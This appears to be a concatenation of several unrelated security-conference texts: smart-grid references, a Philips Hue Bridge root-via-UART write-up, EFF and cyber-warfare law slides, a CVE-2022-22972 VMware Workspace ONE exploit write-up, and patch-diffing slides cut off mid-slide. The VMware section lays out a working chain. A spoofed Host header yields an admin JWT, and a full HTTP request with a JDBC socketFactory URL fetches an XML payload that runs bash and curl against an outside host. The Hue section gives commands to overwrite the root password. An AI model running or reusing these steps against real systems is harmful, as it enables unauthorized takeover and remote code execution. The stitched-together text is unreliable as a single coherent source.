<http://osgug.ucaiug.org/utilisec/amisec/Meetings/20080917%20- %20Telecon/AMI-SEC%20Overview%20-%20v1%20- %2020080917%20-%20drh.ppt>. [5] “AMI System Security Requirements – V1.01.” 17 Dec 2008. AMI-SEC Task Force. <http://osgug.ucaiug.org/utilisec/amisec/Shared%20Documents/1.%2 0System%20Security%20Requirements/AMI%20System%20Security %20Requirements%20-%20v1_01%20-%20Final.doc>. [6] Thompson and Lieberman Introduce the “Critical Electric Infrastructure Protection Act”. 29 Apr 2009. United States House of Representatives Committee on Homeland Security Press Center. <http://homeland.house.gov/press/index.asp?ID=448>. [7] “Smart grid.” 24 Jun 2009. Wikipedia. <http://en.wikipedia.org/wiki/Smart_grid>. [8] “Salt River Project’s smart meter rollout nears completion.” 6 Feb 2007. METERING.COM. <http://www.metering.com/node/7500>. [9] Homeland Security Committee Introduces HR 2195, a Bill to Secure the Nation’s Electric Grid. 30 Apr 2009. United States House of Representatives Committee on Homeland Security Press Center. <http://homeland.house.gov/press/index.asp?ID=450>. [10] Mike Davis. “Black Hat USA 2009 Briefings Speaker List.” Recoverable Advanced Metering Infrastructure. 25 Jun 2009. <http://blackhat.com/html/bh-usa-09/bh-usa-09- speakers.html#Davis>. [11] Andy Greenberg. “Congress Alarmed At Cyber-Vulnerability Of Power Grid.” 22 May 2008. <http://www.forbes.com/2008/05/22/cyberwar- breach-government-tech-security_cx_ag_0521cyber.html>. [12] Kara Scannell and Sudeep Reddy. “Greenspan Admits Errors to Hostile House Panel.” 24 Oct 2008. The Wall Street Journal. <http://online.wsj.com/article/SB122476545437862295.html>.
pdf
Philips Hue Bridge2.1 获取设备 root 权限 基础信息收集 设备介绍 Philips HUE Bridge 桥接器在现有 HUE Bridge 桥接器的基础上升级为支持 HomeKit。这款 HUE Bridge 桥接器让你可在 iPhone、iPad 或 iPod touch 上 通过 Hue app 控制自己的各种 Hue 产品。只需安装好 HUE Bridge 桥接器, 并将 app 下载到 iOS 设备上,便可开始打造定制化的照明系统。 (参考: https://www.apple.com.cn/shop/product/HPY82CH/A) 设备版本 philips Hue Bridge 2.1 设备接入 直接接入支持 DHCP 的设备中即可, 可以当作 DHCP Client 来直接获取 IP,然后 通过管理后台以及端口扫描的方式获取到设备的 Mac 地址, Mac 地址有标识是 Philips 的设备. Nmap scan report for 192.168.1.9 Host is up (0.0027s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 8080/tcp open http-proxy MAC Address: XXXXXXXXXXXXX (Philips Lighting BV) 获取 Root 权限 UART 接口测试 根据如下线序进行连接(小三角处为 PIN1): 连接好 UART, 波特率 115200,使用 minicom 进行调试: minicom -D /dev/<serial> -b 115200 测试乱码, 这里由于我使用的是 CH340G 的模块进行 uart 调试, 后边通过查询 网上的资料, 该类型调试口需要使用 FT232RL 进行调试, 于是更换 FT232RL 京东上买一个: 更换后即可看到正常显示: 这里因为板子使用的是冷启动, 也就是在连接了 TX 之后, 板子不会启动, 因此 在引导加载程序启动之前保持未连接状态。 如果想中断引导加载, 并且进入 U-boot 控制台的话,需要在加载 U-boot 的时 候, 连接 SEU 的 2 个接口到 flash 右边的这个触点上, 这样的话就可以使得引 导加载程序无法从 NAND 读取内核映像, 从而报错进入到 U-boot 控制台, 具体 操作方法如下: 在设备接入电源约 2-3 秒后, 通过该方法就可以进入到 U-Boot 中,printenv 打 印一下环境变量, 发现有 security 字段, 它为 root 的原始密码 此时通过 mkpasswd 生成一个 toor 的密码 重新设置一下 security 值, 然后保存环境变量, 重新启动, 即可替换掉原有的 系统口令, 命令如下 ath> setenv security '$5$wbgtEC1iF$ugIfQUoE7SNg4mplDI/7xdfLC7jXoMAkupeMsm1 0hY9' ath> saveenv ath> reset 获取本地 Root 权限: 打包固件: tar -zcvf /tmp/rom.tar.gz /rom/ 通过 scp 传输:
pdf
The Internet’s Private Cops Wendy Seltzer EFF Staff Attorney [email protected] <http://www.eff.org> DEFCON 11, August 2, 2003 11/23/2009 2 The Internet’s Private Cops  Early view: The Internet can “route around” law  Later view: Maybe it can’t. We need to work with the law itself. 11/23/2009 3 RIAA v. Verizon  subpoena: RIAA demands identities of four alleged KaZaA users from Verizon  challenge: Verizon withholds names, goes to court for user privacy  court order: Reveal the names – decision currently being appealed 11/23/2009 4 “Law enforcement” is not just the government 11/23/2009 5 Private actors have many legal mechanisms at their disposal  cease-and-desist letters  subpoenas  civil lawsuits  private investigation (discovery)  cooperation with state and federal prosecutors 11/23/2009 6 Internet architectures facilitate private control  Law and technology create chokepoints: centralization in the decentralized network – ISPs, backbone providers, DNS  “Public” content on the Net is stored on private servers 11/23/2009 7  Internet enables more people to publish, cheaply, to more other people;  It also enables more people and corporations to monitor that speech – Claims of copyright infringement  The work draws inspiration from (“copies”) another  or interoperates with (“circumvents”) another – Claims of trademark infringement – Claims of patent infringement … 11/23/2009 8 Chilling Effects the shadow of the law  Legal threats may not have merit… …but still deter online activity  Threats such as: “an injunction, disgorgement of revenues and/or statutory damages, as well as attorneys fees and costs for such litigation” 11/23/2009 9 http://www.chillingeffects.org/ 11/23/2009 10 11/23/2009 11 11/23/2009 12 Resisting the Chill  Legal threats are often used against “obnoxious” but not illegal activities.  To resist the chill, know the law and legal defenses. 11/23/2009 13 Copyright  Infringement and secondary liability  DMCA – DMCA subpoenas – DMCA safe harbor, notice & takedown – DMCA anticircumvention – State super-DMCAs  Fair use, parody, commentary, criticism  Reverse engineering, security testing, interoperability 11/23/2009 14 Trademark  Trademark and unfair competition  Dilution  Fair and nominative use  Non-commercial use  Parody  Criticism 11/23/2009 15  Trespass to chattels  Contract  Trade Secret  Private rights under anti-hacking laws 11/23/2009 16 First Amendment “Congress shall make no law … abridging the freedom of speech, or of the press” 11/23/2009 17 Resources  EFF: http://www.eff.org  Chilling Effects and law school clinics http://www.chillingeffects.org  Get involved! Help change the law. 11/23/2009 18 11/23/2009 19
pdf
0 Presented by: Dondi West, M.Sc., J.D. Associate, Booz Allen Hamilton Def Con 18 July 30th – August 1st 2010 Las Vegas, Nevada A paper arguing that the current rules of war can address the emerging issues raised by cyber warfare A Survey and Examination of the Adequacy of the Laws Related to Cyber Warfare 1 Disclaimers  The views expressed in this presentation and its supporting materials are those of the author alone and do not necessarily reflect the official policy or position of Booz Allen Hamilton, or any entity of the US Government.  This talk is for general information purposes and is not intended to be and should not be taken as legal or consulting advice on any particular matter. 2 Agenda  Introduction to CNO and the Actors Involved  Survey of the Laws with the Largest Impact on Cyber Warfare  Popular Issues Intensifying Cyber Warfare Debate  Five Reasons Why the U.S. Shouldn‘t Enter into Int‘l Treaties for Cyber Warfare  Conclusion, Question and Answers 3 Introduction  President Obama‘s 60-Day Study  2008 Cyber Attack against Georgia Infrastructure and Key Government Websites  Cyber Spies Penetrate US Electrical Grid (2009)  July 4th Cyber Attacks Against U.S. Results of 60 Day Study  Many Near-Term & Mid-Term Action Plans  No Mandate for Examining Laws of Cyber Warfare in Results of 60-Day Study  Intense Debate: International Treaty for Cyber Warfare 4 I. Introduction to Computer Network Operations and the Actors Involved 5 Introduction to CNO Joint Pub 3-13 Categorizes Cyber Acts Under the Domain of Computer Network Operations (CNO) 6 Computer Network Operations  The term ―Cyber‖ is used in a overly broad manner  It is necessary to understand Cyber within the context of which of the three CNO domains are being referenced  Computer Network Defense (“CND”) – Includes actions taken via computer networks to protect, monitor, analyze, detect and respond to network attacks, intrusions, disruptions or other unauthorized actions that would compromise or cripple defense information systems and networks  Computer Network Exploitation (“CNE”) – Includes enabling actions and intelligence collection via computer networks that exploit data gathered from target or enemy information systems or networks  Computer Network Attack (“CNA”) – Includes actions taken via computer networks to disrupt, deny, degrade, or destroy the information within computers and computer networks and/or the computers/networks themselves 7 The Actors Involved  Nation State vs. Nation State  Nation State vs. non-State Actor – Post 9/11:UNSCR 1368  This study is not concerned with international cyber crimes  This study is not concerned with Private Hacker vs. Private Hacker  Attribution: Huge Issue, But Outside Scope of Study 8 II. A Brief Overview of Cyber Warfare’s Current Legal Framework The two principle questions facing military operations in cyberspace are: 1. Which interstate activities in cyberspace constitute a threat or use of force under international law, and 2. When such a threat or use of force does constitute an armed attack under international law, how does that law of armed conflict apply to the lawful exercise of the inherent right of self defense in cyberspace.* Two regimes: (1) Pre-Hostilities Law; and (2) Post-Hostilities Law * Thomas C. Wingfield & James B. Michael, An Introduction to Legal Aspects of Operations in Cyberspace 10 (Naval Postgraduate School) (explaining that two important legal issues related to cyber warfare are (1) when does a CNA constitute a threat or use of force, and (2) how do the laws of armed conflict govern cyber warfare) (2004); see also Jeffrey Carr, Inside Cyber Warfare 31-43 (Mike Loukides ed., O’Reilly Media 2010) (2009). 9 Pre-Hostilities Law (Jus ad Bellum)  UN Charter Article 2(4) – All members shall refrain in their international relations from the threat or use of force against the territorial integrity or political independence of any state, or any other manner inconsistent with the Purposes of the United Nations – UNSC has the exclusive power to determine when an act is a use of force and respond to such acts.  Article 51: Right to Self Defense – Nothing in the present Charter shall impair the inherent right of individual or collective self defense…  There is a general prohibition against ALL uses of force, except those: – Sanctioned by the UN Security Council; OR – Done in Self-Defense 10 Post-Hostilities Law (Jus in Bello)  Once two nations are in armed conflict with each other, the law of war applies.  The Law of War must apply in ALL military operations. Cyber operations NOT exempt.  Only Lawful Military Targets may be attacked.  When deciding if a target can be attacked, a combatant commander must consider: – Distinction – Balancing Military Necessity With Humanity – Proportionality 11 Distinction 1) Must be formal distinction between combatant and non-combatants AND 2) Duty to conduct warfare in manners that minimize harms to civilians • Article 50: defines who are civilians and civilian populations • Article 51: describes protections to be given to civilian populations • Article 52: regulation of targeting civilian objects • Article 57: outlines specific steps commanders must take in order to verify what isn‘t a civilian object in nature 12 Distinction: Cyber Implications Example: Releasing a comp virus in a network essential to civilian function such as a banking or electrical power will likely violate the principle of distinction.  Interconnective nature of internet causes networks to have duel use  Civilian ISP provide online networks to civilians and support military objectives of communication  Commanders must take reasonable steps to limit attacks on part of a network used by the enemy combatant 13 Military Necessity and Humanity Caveats: A. Necessity: Attack on target must further legit military objectives or grant a definite military advantage. B. Humanity: Attack shouldn‘t cause unnecessary suffering or unwarranted injury for a military purpose. Cyber ex:  Attack on enemy computer system that controls enemy‘s power supply (SCADA)  Necessity here is easy…  Humanity…. NOT SO EASY  What if that power also supplies a civilian hospital? 14 Proportionality ٭ Determine if benefits from winning military objectives outweigh its negative collateral effects like extensive power loss to civilian populations 1. Deontology: ―ends justify the means‖ 2. Business Language: Essentially a ROI Analysis 3. Tool for balancing military necessity and humanity 4. Attacker has responsibility to take reasonable steps to determine what collateral damage to contemplated attack can cause 15 III. Popular Issues Intensifying Cyber Warfare Debate 16 The “Use of Force?” Debate  Schmitt/Wingfield Multifactor Tests  The Security Council has the sole authority and discretion to ratify any use of force; to include a very mild cyber attack  Article 51 of the UN Charter provides for the right of countries to engage in military action in self defense, including collective self-defense – Should the Security Counsel Adopt a Multifactor Tests? – All Uses of Force are Presumed to be Forbidden – Criticisms of Multifactor Tests 17 The “Use of Force?” Debate  The Rule (In Dondi‘s Opinion): A nation conducting any CNA, prior to hostilities, is legally doing so only in the case of reasonable self-defense; if self-defense is not involved, then the nation actor is conducting CNA with the risk of being sanctioned by the UN Council – This may imply that the UN Council needs to implement means of monitoring all state-sponsored acts of CNA and become more aggressive in holding countries accountable for cyber acts, which is a challenge in and of itself, but it does not imply that the international laws of war are inadequate 18 The “Cyber Arms Race” Analogy  ―A ‗dead heat‘ is a race, campaign or other contest that is so close that it is impossible to predict the winner. That‘s what it looks like when it comes to the continuing race for cyber warfare supremacy, and experts agree this will be the case for the foreseeable future. With images of the Cold War and its associated arms race, as cyber warfare, cyber espionage, cyber attacks and cyber terrorism continues to evolve the top three leaders (US, Russia and China) are jockeying for position.‖ —Defense Tech  Nuclear Weapons -vs- Cyber Weapons  The Cyber threat is real, but shouldn‘t be compared to Nuclear Weapons  Nuclear Treaties  Cyber Treaties 19 The Cyber Threat DebateThe “Cyber Arms Race” Analogy  On June 8, 2010, Booz Allen Executive Vice President Mike McConnell and his debate partner, Harvard law professor Jonathan Zittrain, jointly debated two opponents on the topic of cyber threat titled “The Cyber War Threat Has Been Grossly Exaggerated,” and McConnell and Zittrain faced off against privacy advocate Marc Rotenberg and security technologist Bruce Schneier, who argued in favor of the measure -- that the threat has been exaggerated.  At the close of the fast paced and entertaining discussion, the McConnell/Zittrain arguments had swayed 71% of the audience to their position, vs. 23% for the opponents and only 6% undecided.  Dondi’s Opinion: Cyber is the new Fire. Cybersecurity awareness must become engrained in our society like fire safety. – It is hard to exaggerate the threat or dangers of fire.  Dondi‘s ―Fire-Marshal Bill‖ Test: The threat is real, but when it comes to cyber security, we should only throw the flag in the event of Gross Exaggeration. 20 IV. Arguments Against Creating a Distinct Body of and International Treaty for Cyber Warfare Law 21 Fields of Law are Seldom Demarcated by Technology  Sommer Argument – The Laws of Spears, Bows, Arrows and Shields – The Treaty Against Imitating Paranormal Activity During Warfare – The Law of Equestrian Warfare (Horse Law) – The Law of the Semi-Automatic Rifle – The Hague Rules of Aerial Warfare – The treaty Banning the Use of Environmental Modification Techniques in Warfare – Protocol Banning Weapons whose Fragments Cannot be Detected by X-ray – Protocol Banning the use of Blinding Lasers  The current rules of war, prior to, and during hostility, encompass cyber warfare 22 Undue Limitations on a Primarily Non-Lethal Strategic Deterrence  Because cyber warfare is primarily non-lethal, and due to its deterrence capability, it may be the greater of two evils when it is compared to traditional kinetic weaponry such as missiles  In light of the UN Charter‘s guiding principle of preserving human life, proponents of the creation of a cyber warfare treaty should consider the fact that such a treaty may have the effect of limiting a primarily non-lethal weapon, and possibly shift the weaponry trend back to the use of kinetic weapons 23 Our Real Adversaries are Unlikely to Comply with a Cyber Treaty  Creating an international law will, therefore, have the actual effect of crippling our warfighting ability, while our real adversaries continue to run rogue  If we were to enter into a cyber warfare treaty, we would essentially be volunteering to fight war ―with one hand behind our back,‖ while those we are likely to fight against will do so with no rule of law in mind—let alone a rule governing cyber warfare 24 The rate of technology will outpace the ability for an international cyber regime to produce responsive policy, while the flexibility allotted by the UN Charter are able to absorb technological advances. 25 Conclusion  The laws of war will be tested by cyber warfare in two situations: first, prior to the commencement of an armed conflict; second, when an armed conflict is ongoing. In each of these situations, the current laws of war can address the emerging issues raised by cyber warfare.  Although several hot-button issues related to cyber warfare are often discussed and fuel the cyber warfare debate, they may not be issues at all. A careful analysis shows that the current UN Charter and Laws of War should continue to govern cyber warfare.  Creating an international treaty or law for cyber warfare would do more harm than good and seriously cripple our ability to conduct war. 26 Question and Answers Contact Information: Email: [email protected] Twitter: @dondiwest BLOG: www.cyberwarandlaw.com
pdf
CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE author:Y4er 补丁对比 HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter,匹配全路由 然后删除了DBConnectionCheckController,这个地方有jdbc attack。 权限绕过 查看HostHeaderFilter代码 package ; import VisibleForTesting; import GlobalConfigService; import HorizonPropertyHolder; import ApplianceNetworkDetails; import ApplianceUtil; import IOException; import Optional; import Filter; import FilterChain; import FilterConfig; import ServletException; import ServletRequest; import ServletResponse; import HttpServletRequest; import HttpServletResponse; import StringUtils; import Logger; import LoggerFactory; import Autowired; import Component; @Component("HostHeaderFilter") public class HostHeaderFilter implements Filter { private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class); private static final String LOCALHOST = "localhost"; private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1"; private static final int INVALID_HOST_NAME_STATUS_CODE = 444; @Autowired private HorizonPropertyHolder horizonPropertyHolder; @Autowired private ApplianceUtil applianceUtil; @Autowired private GlobalConfigService globalConfigService; private ApplianceNetworkDetails applianceNetworkDetails = null; private Boolean isOnPremise; private Boolean isSingleTenant; public HostHeaderFilter() { this.isOnPremise = Boolean.FALSE; this.isSingleTenant = Boolean.FALSE; } public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { this.isOnPremise = this.globalConfigService.isServiceOnPrem(); com.vmware.horizon com.google.common.annotations. com.tricipher.saas.action.api. com.vmware.horizon.common.utils. com.vmware.horizon.common.utils.system. com.vmware.horizon.common.utils.system. java.io. java.util. javax.servlet. javax.servlet. javax.servlet. javax.servlet. javax.servlet. javax.servlet. javax.servlet.http. javax.servlet.http. org.apache.commons.lang3. org.slf4j. org.slf4j. org.springframework.beans.factory.annotation. org.springframework.stereotype. this.isSingleTenant = this.globalConfigService.isServiceSingleTenant(); if (this.applianceNetworkDetails == null) { this.applianceNetworkDetails = (ApplianceNetworkDetails)Optional.ofNullable(this.applianceUtil.getApplianceNetworkDet ails()).orElse(new ApplianceNetworkDetails()); } if (request != null && request instanceof HttpServletRequest) { HttpServletRequest httpServletRequest = (HttpServletRequest)request; String serverName = httpServletRequest.getServerName(); if (StringUtils.isNotBlank(httpServletRequest.getHeader("Host")) && StringUtils.isNotBlank(serverName)) { serverName = serverName.trim(); String gatewayHostName = StringUtils.isNotBlank(this.horizonPropertyHolder.getGatewayHostName()) ? this.horizonPropertyHolder.getGatewayHostName().trim() : ""; boolean isValidServerName = this.isServerNameAmongTheValidList(serverName, gatewayHostName); if (!isValidServerName) { isValidServerName = this.isServerNameValidForMultiTenantOnPremOrCloudCase(serverName, gatewayHostName); } if (!isValidServerName) { log.error("Rejecting request since host header value does not match configured gateway.hostname or localhost or appliance hostname/IP address: {} ", serverName); if (response instanceof HttpServletResponse) { ((HttpServletResponse)response).setStatus(444); } return; } } } filterChain.doFilter(request, response); } public void destroy() { } private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) { return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) || serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1"); } private boolean isServerNameValidForMultiTenantOnPremOrCloudCase(String serverName, String gatewayHostName) { if (!this.isSingleTenant || !this.isOnPremise) { String gatewayDomainName = this.getDomainFromHostname(gatewayHostName); if (StringUtils.isNotBlank(gatewayDomainName) && serverName.toLowerCase().endsWith(gatewayDomainName.toLowerCase())) { return Boolean.TRUE; } } return Boolean.FALSE; } @VisibleForTesting String getDomainFromHostname(String hostname) { return StringUtils.isNotBlank(hostname) && hostname.indexOf(46) > 0 ? StringUtils.substring(hostname, hostname.indexOf(".") + 1).trim() : ""; } } 可见对host做了判断,那么伪造host为我们自己的http服务呢? 在登录请求包中修改host为我们的恶意服务端 发现服务器对我们的恶意服务端发起了请求。 随便给一个host 此时查看log发现vm在尝试解析主机名并对其发起了请求。 回溯堆栈,在 com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login 中 将传入的账号密码调用本地密码服务发起http请求api来鉴权,然后通过 generateSuccessResponse()返回授权成功,其中endpoint来自于 com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl 这里用 request.getServerName() 造成了可以伪造host来控制授权服务。 接着来把host设置为dnslog,看一下请求中包含的东西 此时响应包中返回了授权成功的cookie jwt解出来 { "jti": "3b448f71-f384-481c-be2d-8e91f7062208", "prn": "admin@VM", "domain": "System Domain", "user_id": "5", "auth_time": 1653647444, "iss": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth", "aud": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth/oauthtoken", "ctx": " [{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653647444,\"id\": 3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]", "scp": "profile admin user email operator", "idp": "2", "eml": "[email protected]", "cid": "", "did": "", "wid": "", "rules": { "expiry": 1653676244, "rules": [ { "name": null, "disabled": false, "description": null, "resources": [ "*" ], "actions": [ "*" ], "conditions": null, "advice": null } ], "link": null }, "pid": "3b448f71-f384-481c-be2d-8e91f7062208", "exp": 1653676244, "iat": 1653647444, "sub": "d054089a-6044-4486-b534-8b0dd105f803", "prn_type": "USER" } 由此就绕过了鉴权。 rce jdbc postgresql rce POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1 Host: vm.test.local Cookie: HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00N zZmNWY0MWViNmYiLCJwcm4iOiJhZG1pbkBWTSIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjo iNSIsImF1dGhfdGltZSI6MTY1MzY0NzgwMiwiaXNzIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmc mJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDB hYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoL29hdXRodG9rZW4iLCJjdHgiOiJbe1wib XRkXCI6XCJ1cm46dm13YXJlOm5hbWVzOmFjOmNsYXNzZXM6TG9jYWxQYXNzd29yZEF1dGhcIixcImlhdFwiOjE 2NTM2NDc4MDIsXCJpZFwiOjMsXCJ0eXBcIjpcIjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAxN FwiLFwiaWRtXCI6dHJ1ZX1dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWR wIjoiMiIsImVtbCI6ImxvY2FsQWRtaW5AZXhhbXBsZS5jb20iLCJjaWQiOiIiLCJkaWQiOiIiLCJ3aWQiOiIiL CJydWxlcyI6eyJleHBpcnkiOjE2NTM2NzY2MDIsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmF sc2UsImRlc2NyaXB0aW9uIjpudWxsLCJyZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0a W9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm51bGx9LCJwaWQiOiJkY2M0NjZmNS0wNWRmLTRiYjA tOTFkYy00NzZmNWY0MWViNmYiLCJleHAiOjE2NTM2NzY2MDIsImlhdCI6MTY1MzY0NzgwMiwic3ViIjoiZDA1N DA4OWEtNjA0NC00NDg2LWI1MzQtOGIwZGQxMDVmODAzIiwicHJuX3R5cGUiOiJVU0VSIn0.OJnqYjukOzG4ev4 5jp0eNtyy97oirmYOLnhDgGtQQZLipmqhVHvRoSKIRg3rtAiXWurL4HbnTqjLtkQARU1K4D8ufnqiVgob0lzTf oa43GQ2XqFdzvekoHpr4_72a7egn4blB1PiOj_qi3sGmbwPbPPHYv3rRGaRroRsPFRFw- JWWRhSoNa34ggkm3_3XFP25ebXoi6-aHQUh_UzWmW6T-KUcEehGA46vOWdMek0UbyjCe-7e1NPwwf- TeJievzthPubiTWB5lTV25OC5S1B- o715t3nc4j4VDUzh3LBsDpNbM_S4g7Mf9ChQUHiM2GbXEhRI3ot9wCDPXBr2vysjQ; Content-Type: application/x-www-form-urlencoded Content-Length: 196 jdbcUrl=jdbc:postgresql://localhost/test? socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26soc ketFactoryArg=http://192.168.1.178:9091/exp.xml&dbUsername=&dbPassword= exp.xml如下 <beans xmlns="http://www.springframework.org/schema/beans" xsi="http://www.w3.org/2001/XMLSchema-instance" schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value>curl 192.168.1.178:9091/pwned</value> </list> </constructor-arg> </bean> </beans> xmlns: xsi: 总结 挺离谱的洞 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
LABS Back to the Future Our journey back to the future of Windows vulnerabilities and the 0-days we brought back with us ● 15+ years in Cyber Security ● Director of Security Research @ SafeBreach ● Main focus in APT and vulnerability research 2 Tomer Bar Director of Security Research LABS ● 7+ years in Cyber Security ● Security Researcher @ SafeBreach ● Main focus in vulnerability research 3 Eran Segal Security Researcher LABS 4 In memory of my dad David 1951-2021 5 Research State of Mind “Learn from the past if you want to predict the future” Confucius 6 Agenda ● Research background ● Solution process and Infrastructure ● The 4-step process from 0 to 0-day ● E2E example ● Discovered and reported on six vulnerabilities ● Two post-exploitation ● Deferred Patching ● Closure and Q&A 7 Research Goals ● Rapid analysis of security patches in Windows ○ Root cause analysis ○ Prioritization of vulnerabilities 1 1 days Automatic exploitation poc’s 2 0 days Semi-automatic approach 3 8 Research Assumptions Microsoft will fix (patch) the same vulnerability classes with similar patches techniques/logic 1 The code after the patch might be still vulnerable 2 3 A patched function is a good candidate for other vulnerabilities 9 A Story Of One Function: ETWpNotifyGuid - 5 vulnerabilities 10 A Story Of One Function: ETWpNotifyGuid - 5 vulnerabilities Ntoskrnl function - WIN10 CVE-2020-1033 LPE Invalid check of the input CVE-2021-1682 LPE Heap Overflow due to assign in to offset 0x50 In any allocated buffer CVE-2020-1034 Information Disclosure Invalid check on boolean variable (checks relevant for bit mask) CVE-2021-1662 LPE Wrong bound check leads to OOB write to kernel pool 11 Research Approach ● Past approach ○ Manual patch diff of a Single Vulnerability ○ The goal is limited to understanding the root cause usually for constructing a 1-day POC ● Our approach - an automated process that would gather all the insights from all the patches in a single, searchable db for 0-day hunting We adopted a new approach, in terms of both the goal and how to get there. 12 Steps to reach our goal - 0 Day 1-day Generate code to trigger the vulnerable function 3 Find vulnerable functions via patch-diffing 1 0-day Find similar unpatched patterns 4 Correlate CVEs to patches 2 13 Find vulnerable functions via patch-diffing Step 1 14 Step 1 - Patch pipeline Download all Windows 8.1 security only updates Extract patched files Binary Diffing Classify changes Store Features into DB 15 Collecting 6 years of Windows Patch-Diffing 770,000 Total changed functions 105,000 Unique changed functions 7,150 Patched PEs 970 Unique PEs 54 Security updates 16 Structure of KB KB = msu File Packages Patched files 17 Recompilation challenges ● Instruction reordering ● Basic blocks reorder ● Opcode changes ● Alignments 1st Compile Recompile 18 Step 1 - Features Types Patch-related features ● XREF - Added/remove/changed function calls ● Changes amount of loops or conditions ● Changes in deprecated functions ● Etc. Vulnerability-related features ● Integer overflow ● Use after free ● Directory traversal ● Etc. 19 2019 20 Step 1 - Num of Xrefs - Example - CVE-2019-1280 ReadPROPVARIANT function calls 10 times to IStream_Read vs 9 calls in unPatched version 21 Step 1 - Num of Xrefs- Example - CVE-2019-1280 22 Step 1 - Num of Xrefs- Example - CVE-2019-1280 Type confusion - Reading DECIMAL from file without resetting vt to VT_DECIMAL type (0xE) 23 2018 24 Step 1 - Number of Conditions - CVE-2018-8411 25 Step 1 - Number of Conditions - CVE-2018-8411 Incorrect Authorization -> NTFS list directory by sid with no conditions Patch - Added 5 conditions 26 Vulnerability category features ● Integer Overflow ● Use After Free ● Integrity Level ● Race Condition ● Directory Traversal ● Symbolic link vulnerabilities 27 2020 28 29 Step 1 - Integer Overflow Example - CVE-2020-0796 SMB GHOST patch - usage of RTlULong functions 30 2016 31 Step 1 - Integer Overflow Example - ms16-098 As presented @ Defcon 25 This time UlongMult function was used MS16-098:Win32k!bFill Integer Overflow 32 Step 1 - Integer Overflow Example Our Integer Overflow feature returned with 200+ results PATCHED FILE PATCHED FUNCTION ADDED CALL (XREF) 33 34 Step 1 - Integer Overflow Example - NTDLL - April 2020 The only function that was really changed was LdrpSearchResourceSection_U 35 Step 1 - Integer Overflow Example - NTDLL - April 2020 Same pattern was used, this is a patch pattern at least since 2016 36 Step 1 - Integrity Level Examples Search for added functions named “IntegrityLevel” CVE-2019-1365 CVE-2017-0100 37 Correlate CVEs to patches Step 2 38 Step 2 - Correlation of CVE to patched file Name CVE Number CVE Description ● Microsoft provide an API for download CVE details ● New API and tool were released recently ● We have created an automated process that uses this API 39 Step 2 - Correlation process of CVE to patched files Extract patched files from package Query CVE data Extract vulnerable components name (VCN) Correlation logic Step 2 - Correlation logic 1 Correlation logic based on 4 methods Example: CVE-2020-1511 Connected User Experiences and Telemetry Service EoP Vulnerability (diagtrack.dll) Service Name 41 Step 2 - Correlation logic Example: CVE-2019-1267 Microsoft Compatibility Appraiser EoP Vulnerability - (appraiser.dll) Correlation logic based on 4 methods Executable Description 2 42 Step 2 - Correlation logic Internals Knowledge Example: CVE-2020-0783 Windows UPnP Service EoP Vulnerability (umpnpmgr.dll) 150 Executables were correlated using this method Correlation logic based on 4 methods 3 43 Step 2 - Correlation logic ● “Error reporting” was the VCN in 3 monthly patches ● “Print spooler” was the VCN in 4 monthly patches VCN - NUMBER OF PATCH TUESDAY’S IN 2020 Which files were patched only in those patch Tuesdays ASSOCIATED PATCHED FILES Past Associations 4 44 Trigger the vulnerable functions Step 3 45 Step 3 - Trigger the Vulnerable Functions ● Extract all the executables that call the vulnerable function ○ Generate call graphs ● Generate a code that will trigger the vulnerability ○ Find examples in the internet ○ Support COM APIs ○ Support RPC APIs 46 Step 3 - Generating call graphs Mapping all function calls across executables 47 Step 3 - Generating call graphs “If you don't know where you are going any road will get you there” - Lewis Carroll 48 Step 3 - Enriching our graphs MSDN GitHub 49 Step 3 - Generate RPC clients 50 Step 3 - Generate RPC clients Got 127 working projects Project files 51 Step 3 - Generate code to Trigger RPC server CVE-2018-8440 - Sandbox Escaper ALPC LPE example 52 Step 3 - Generate code to Trigger RPC server CVE-2018-8440 - Sandbox Escaper ALPC LPE example 53 Step 3 